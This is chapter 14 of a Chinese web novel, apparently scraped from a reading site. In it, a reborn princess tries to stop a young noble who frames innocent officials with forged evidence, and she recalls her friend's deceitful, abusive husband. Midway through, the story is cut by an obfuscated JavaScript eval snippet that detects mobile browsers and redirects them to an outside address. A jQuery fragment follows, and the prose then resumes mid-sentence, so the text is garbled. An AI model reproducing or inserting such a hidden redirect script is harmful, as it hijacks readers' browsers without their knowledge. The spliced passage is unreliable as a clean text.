14. 第 14 章

回宫后的几天,叶婉欣到处找办法,想能不能阻止赵君逸。


以他的能力,他完全可以让那些人悄无声息地死。


可他偏偏恶意地、费尽心思地找出或真或假的理由,把官员们捉拿下狱。


看着他们在监狱里恐惧,看着他们找各种关系疏通,发现无用,抗不过权利通天的镇国公府,只能用最无用的方式在监狱里不分日夜地哭喊无辜,咒骂镇国公府、咒骂他。


以不惜毁掉自己名声的方式。


叶婉欣不懂。


劝不了他,她只能找其他办法,看能不能阻止,或者弥补。


她也有想过,去找父皇。


但是要怎么说?


去找父皇阻止赵君逸,不正是告诉父皇,赵君逸现在全凭乖戾性子行事吗?


她又不能把重生的事告诉父皇。


这种可能让赵君逸陷入万劫不复的境地的事,叶婉欣不敢赌。


她找闺中好友兵部尚书独女魏晓兰,找三皇兄,再找父皇给自己的亲兵去把已经下狱定罪名的官员家属安顿好。


再试图找证据把无罪被按上罪名的官员释放。


可是他们明明查出,明明知道那些官员没有罪。


但赵君逸给那些官员们按上的罪名,怕是皇上亲审都不一定辨得出真假。


他总是在或真或假的事件中给官员定罪。


比如有个张姓官员曾经是京外考进的人,在老家曾有妻儿。


妻儿或意外或病死。


但赵君逸偏偏伪造证据,说他为了当侍郎的乘龙快婿,残忍杀害原配妻儿。


证据天衣无缝,少数几个知情人被他收买。


叶婉欣和众人费了无数心思,却一个都救不回来。


三皇子、她的亲卫和魏晓兰等都沉默了。


知道世子厉害,但是不知道他厉害到这种程度。


看似外面谣言满天飞,但实际却是无一确凿的证据能指控他草菅人命。


他算无遗漏,就算最细微的地方,也没有让人能捉到把柄的地方。


他才仅仅十八岁!


行事看似狂妄狠厉,实际却把一切操控在掌心,玩味地看着走投无路的人在他掌下无用地蹦跶。


实在让人毛骨悚然、恐惧、胆寒。


魏晓兰亲自进宫和叶婉欣见了一面,叹到:“与其为他担心,不如担心那些随时可能被他发作的官员吧。”


作为叶婉欣的闺中好友,魏晓兰又怎么会不明白,小公主的举动,看似在救那些无辜的官员,实际上更多地为镇国公世子打算。


魏晓兰心里十分复杂。


作为叶国人,她当然崇敬能把姜夏两国打退,收复姜国的赵家父子。


特别是在这长久的战役中起决定性作用的世子赵君逸。


但是他这大费周章、损人不利己的举动,又让魏晓兰不懂,且心情复杂。


完全看不出他发作的缘由,既非仇杀,也非情怨、世仇。


因此朝堂上活着的每一个官员都可能成为他下一个下手的目标。


京城乃至全国都在传他居功自傲、狂妄无人、残害忠良的传言,是有朝堂上的官员在运作的成分。


他们或是死去和下狱的官员的好友或者沾亲带故的人,或者是有些官员怕成为世子的下一个目标而在助长这股言传。


上朝时,不是没有官员对皇上提出最近这段时间赵君逸的大动作。


但皇帝偏爱赵君逸,加之官员拿不出确凿的证据,直接被皇帝发落了。


有了前车之鉴,没有人敢再做出头鸟。


魏晓兰在小公主的委托下,去办事时,才发现,不仅他们在查,很多官员暗地里也在查。


他们期望找到证据,证明赵君逸在随着自己的狠厉喜怒无常的心意在残害无罪的官员。


可是没有。


在多方势力下,无一人找得出年仅十八岁的世子的把柄,怎能不让人胆寒。


叶婉欣被好友说的哑然。


不能阻止,那她只能在官员家属身上下功夫了。


好在赵君逸并不在乎官员家属之后的死活,他们是好好活着,还是为奴为婢、被流放穷苦之地过生不如死的生活,他都无所谓的样子。


两人坐在塌上,魏晓兰坐在叶婉欣对面端着茶水在喝。


她长相明艳,眉眼英气十足。


叶婉欣看着她,不自觉地挪过去,贴着她坐下,感受着她的生机勃勃的气息、体温,满足地闭眼靠在她肩膀。


魏晓兰比叶婉欣大三岁,与赵君逸同龄,因着叶婉欣的母后与魏晓兰的母亲是闺中密友,两人也从小认识。


只是前世魏晓兰早早离去。


叶婉欣远在崇礼州没能见到她最后一面。


魏晓兰是兵部尚书的独女,长的明艳大气,凭借自己的能力成了叶国少数的厉害女官之一。


叶国虽然在几百年前皇室出过女皇后,朝堂就不限制女子为官了。


但朝堂上的女官毕竟是少数。


她的身份能力,自然有不少门当户对的青年才俊爱慕,委托家人上门提亲。


但是魏晓兰选择了她父亲的门生姚谦文。


姚谦文是上一届状元,相貌堂堂,文采出众。


他追求魏晓兰良久,承诺成婚后只她一人,愿意入赘,并且全力支持她想做的事。


女子为官,要是夫家势大,很多成婚后都会要求她们辞去官位,回家相夫教子。


至于承诺独有一位妻子,愿意入赘的男人,更是少之又少。


稍有权利和钱财的男人,家中都妻妾无数。


只有那些娶不起妻子的人才会只有一位妻子,而一旦他们得势,他们必然娇妻美妾在怀。


就连魏晓兰的父母恩爱,瑟瑟和鸣,但她的父亲也是有几位侍妾。


在姚谦文的甜言蜜语和各种承诺的攻势下,魏晓兰心动了。


成婚后两人过了一段时间的恩爱日子。


但后面姚谦文靠她家得势,攀上了大皇子,就露出了真面目。


原来他在老家早有心爱的美人表妹,并且表妹为他生下了孩子。


他光明正大地把表妹带到京城安置他家,让父母照顾,说表妹夫家出意外死去,他不忍心她流落在外,所以给她一个遮风挡雨的地方。


魏晓兰相信了,还怜惜他表妹年纪轻轻便遭受如此坎坷,时常去看她,送她好东西。


真相暴露,显得她做的一切可怜可笑至极。





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350305|167944||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


对奸夫□□可能在私下苟合时,无数次地嘲笑她愚蠢吧。


姚谦文的狼心狗肺和狠厉不止如此。


魏晓兰头两个胎死腹中的孩儿,并不是她以为的自然流产,而是姚谦文费尽心思弄死的。


父母成亲多年只有了一个她。


她那时以为自己遗传了父母的体质,不易受孕。


却不想虎毒还不食子,而姚谦文这个畜生,生生把她两个孩子弄死,只因为他不愿有除他和他心爱的表妹之外的孩子。


魏晓兰是兵部尚书的独女,从小接受各种优越的教育,自身也凭借优秀的能力当了女官。


这样的她怎么可能忍气吞声。


悲痛过后,她就策划报复。


只是流过两胎虚弱的身体,加上她怀着第三胎,经受不住疲惫和情绪的大起大落。


第三胎也流产了,并且大出血,她和孩儿同时死在了一起。


叶婉欣远在崇礼州,查清前因后果,怒极为好友报仇也没用了,她的好友永远死在了一场满是利用算计的婚姻里。


叶婉欣从回忆里抽身,握着魏晓兰的手,眼眸低垂,这次她绝对不会让好友再跟姚谦文这个畜生在一起。


只是现在没有证据,得找到证据再说。


好在这时,好友还在权衡,并没有把心落在姚谦文这个畜生身上去。


魏晓兰感受她贴在自己身上的身体,和握住自己的手,以为她还在为赵君逸的事忧心。


她反手握住她,提议:“听闻镇国公铮铮铁骨、一身正气,眼里容不下沙子,你可以试试在他身上下下功夫,看能不能通过他阻止世子。”


听到这话,叶婉欣眼睛一亮。


她从没有想过这个办法。


但是确实可行的样子。


前世纵使镇国公离世多年,赵君逸提起他的父亲,总是孺慕敬重的。


“谢谢兰兰,你太好了。”叶婉欣眉开眼笑地抱住魏晓兰摇晃。


三天后,叶婉欣找到赵君逸不在家的空隙,和三皇兄上门。


听清她的来意,原本面带喜意的赵岩昊,神色暗下来,对叶婉欣神色苦涩地说:“逆子顽劣,性子乖戾,我怕完成不了公主的嘱托。”


“为什么啊?”叶婉欣焦急地站起来,急声道,“赵伯父,让君逸哥继续下去,不仅是害了别人,也害了他自己。”


赵岩昊深深叹了一口气,疲惫的神情像是老了好几岁,“我劝过了,没用。”


刚从同僚那里得知赵君逸做的事,当天赵岩昊就去询问他为什么那么做。


可却等到了儿子一声不吭的回应。


赵岩昊呵斥他不准再继续,把捉拿的官员放了。


赵君逸软硬劝说都不听。


外面对他的传言越演越烈,种种激烈的言语,俨然把赵君逸说的居功自傲,狂妄自大,连皇室都不放在眼里。


赵岩昊听的心惊肉跳,寒毛直竖。


这是要把他们赵家打入谋权篡位、万劫不复的境遇!


那天赵岩昊急怒之下,拿着家法把赵君逸打个半死。


“把他们放了!”他对着跪在身前的儿子瞪目怒吼,“我从没有教过你枉顾人命,仗势欺人,你到底想做什么!那些人哪里招惹你了!”